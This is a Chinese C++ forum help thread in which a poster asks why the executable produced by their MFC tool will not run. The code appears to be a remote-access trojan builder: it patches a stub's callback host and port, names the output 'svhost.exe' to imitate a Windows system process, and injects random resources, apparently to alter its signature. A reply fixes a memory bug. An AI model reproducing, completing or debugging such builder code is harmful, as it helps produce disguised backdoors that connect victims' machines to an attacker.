VC驿站

 找回密码
 加入驿站

QQ登录

只需一步,快速开始

搜索
查看: 1352|回复: 3

[求助] 关于替换exe文件指定内容后,程序不能运行

[复制链接]
49_avatar_middle
在线会员 发表于 2017-4-19 11:32:53 | 显示全部楼层 |阅读模式
20驿站币
如题:
代码如下:
  1. struct Info
  2. {
  3.         char Address[100];
  4.         char Port[100];
  5. }MyInfo =
  6. {
  7.         "127.0.0.1",
  8.         "18000",
  9. };
  10. CHAR GetRandChar(int i)
  11. {
  12.         DWORD iCount = GetTickCount() + i;
  13.         iCount = iCount + rand() % 26;
  14.         CHAR Result = 0;
  15.         return  Result = 97 + iCount;
  16. }
  17. void CMFCApplication2Dlg::RandServer(CString Path)
  18. {
  19.         char suiji[15];
  20.         char suiji1[15];
  21.         char suiji2[15];
  22.         char suiji3[15];
  23.         int i;
  24.         for (i = 0; i<14; i++)
  25.         {
  26.                 suiji[i] = GetRandChar(i);
  27.                 suiji1[i] = GetRandChar(i);
  28.                 suiji2[i] = GetRandChar(i);
  29.                 suiji3[i] = GetRandChar(i);
  30.         }
  31.         DeleteFile("C:\\1.txt");
  32.         HANDLE hFile1;
  33.         DWORD  dwBytesWritten;
  34.         hFile1 = CreateFile("C:\\1.txt", GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, NULL, NULL);
  35.         if (hFile1 == INVALID_HANDLE_VALUE) return;
  36.         for (i = 0; i<10; i++)
  37.         {
  38.                 WriteFile(hFile1, suiji1, strlen(suiji1), &dwBytesWritten, NULL);
  39.         }
  40.         CloseHandle(hFile1);
  41.         HANDLE hFile;
  42.         hFile = CreateFile("C:\\1.txt", GENERIC_READ, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  43.         DWORD nSizeOfSrcFile = GetFileSize(hFile, &nSizeOfSrcFile);
  44.         char *szSrcFileBuf = new char[nSizeOfSrcFile];
  45.         ReadFile(hFile, szSrcFileBuf, nSizeOfSrcFile, &nSizeOfSrcFile, NULL);
  46.         HANDLE hUpdate;
  47.         BOOL ret;
  48.         hUpdate = BeginUpdateResource(Path, false);
  49.         char xxxxx[256];
  50.         wsprintf(xxxxx, "%s%s", suiji3, suiji2);
  51.         ret = UpdateResource(hUpdate, xxxxx, suiji, 0, szSrcFileBuf, nSizeOfSrcFile);
  52.         if (!ret)
  53.         {
  54.                 CloseHandle(hFile);
  55.         }
  56.         EndUpdateResource(hUpdate, false);
  57.         CloseHandle(hFile);
  58.         DeleteFile("C:\\1.txt");
  59. }
  60. int  memfind(const char *mem, const char *str, int sizem, int sizes)
  61. {
  62.         int   da, i, j;
  63.         if (sizes == 0) da = strlen(str);
  64.         else da = sizes;
  65.         for (i = 0; i < sizem; i++)
  66.         {
  67.                 for (j = 0; j < da; j++)
  68.                         if (mem[i + j] != str[j])        break;
  69.                 if (j == da) return i;
  70.         }
  71.         return -1;
  72. }
  73. void CMFCApplication2Dlg::OnBnClickedButton1()
  74. {
  75.         // TODO: 在此添加控件通知处理程序代码
  76.         if (GetFileAttributes("Server.dat") == -1)
  77.         {
  78.                 MessageBox("配置文件Server.dat不存在","错误", MB_OK | MB_ICONSTOP);
  79.                 return;
  80.         }
  81.         CString strhost;
  82.         CString strport;
  83.         GetDlgItemText(IDC_EDIT1, strhost);
  84.         GetDlgItemText(IDC_EDIT2, strport);
  85.         MessageBox(strport, strhost, MB_OK | MB_ICONSTOP);
  86.         //GetDlgItemText(IDC_REMOTE_NOTE, strnote);
  87.         if (strhost == "")
  88.         {
  89.                 MessageBox("请填写完整的信息,比如上线地址,端口","错误", MB_OK | MB_ICONSTOP);
  90.                 return;
  91.         }
  92.         DeleteFile("svhost.exe");
  93.         CopyFile("Server.dat","svhost.exe", FALSE);
  94.         strcpy(MyInfo.Address, strhost);
  95.         strcpy(MyInfo.Port, strport);
  96.         MessageBox(strport, strhost, MB_OK | MB_ICONSTOP);
  97.         DWORD wr = 0;
  98.         HANDLE hFile = CreateFile("svhost.exe", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  99.         DWORD  len = GetFileSize(hFile, NULL);
  100.         char *pstr = new char[len];
  101.         ZeroMemory(pstr, strlen(pstr));
  102.         ReadFile(hFile, pstr, len + 1, &wr, NULL);
  103.         CloseHandle(hFile);
  104.         DWORD dwOffset = memfind(pstr, "127.0.0.1", len, 0);
  105.         if (dwOffset == -1)
  106.         {
  107.                 AfxMessageBox("文件不合法host");
  108.                 return;
  109.         }
  110.         CFile file;
  111.         if (file.Open("svhost.exe", CFile::modeCreate | CFile::modeWrite))
  112.         {
  113.                 try
  114.                 {
  115.                         file.Write(pstr, len);
  116.                         file.Seek(dwOffset, CFile::begin);
  117.                         file.Write((char*)&MyInfo, sizeof(Info));
  118.                         file.Close();
  119.                 }
  120.                 catch (...)
  121.                 {
  122.                         MessageBox("文件保存失败,请检查", "提示", MB_OK | MB_ICONSTOP);
  123.                         DeleteFile("svhost.exe");
  124.                         return;
  125.                 }
  126.         }
  127.         MessageBox("服务端文件生成成功,已保存为svhost.exe","提示", MB_ICONWARNING);
  128. }
复制代码

.dat文件在附件。 关于替换exe文件指定内容后,程序不能运行 Server.zip (118.44 KB, 下载次数: 0)

最佳答案

查看完整内容

一看你这句话就有问题: char *pstr = new char[len]; ZeroMemory(pstr, strlen(pstr)); 很可能导致数据出错




上一篇:代理IP刷访问推广问题
下一篇:child窗口上的CEdit无法获得焦点
51_avatar_middle
online_admins 发表于 2017-4-19 11:32:54 | 显示全部楼层
一看你这句话就有问题:

char *pstr = new char[len];
ZeroMemory(pstr, strlen(pstr));

很可能导致数据出错
49_avatar_middle
ico_lz  楼主| 发表于 2017-4-20 20:52:39 | 显示全部楼层
Syc 发表于 2017-4-19 18:12
一看你这句话就有问题:

char *pstr = new char[len];

谢谢啦关于替换exe文件指定内容后,程序不能运行
47_avatar_middle
在线会员 发表于 2017-5-7 21:08:35 | 显示全部楼层
老大真有耐心看下去呀!
您需要登录后才可以回帖 登录 | 加入驿站 qq_login

本版积分规则

关闭

站长提醒上一条 /2 下一条

QQ|小黑屋|手机版|VC驿站 ( 辽ICP备09019393号tongdun|网站地图wx_jqr

GMT+8, 2019-8-21 05:44

Powered by Discuz! X3.4

© 2009-2019 cctry.com

快速回复 返回顶部 返回列表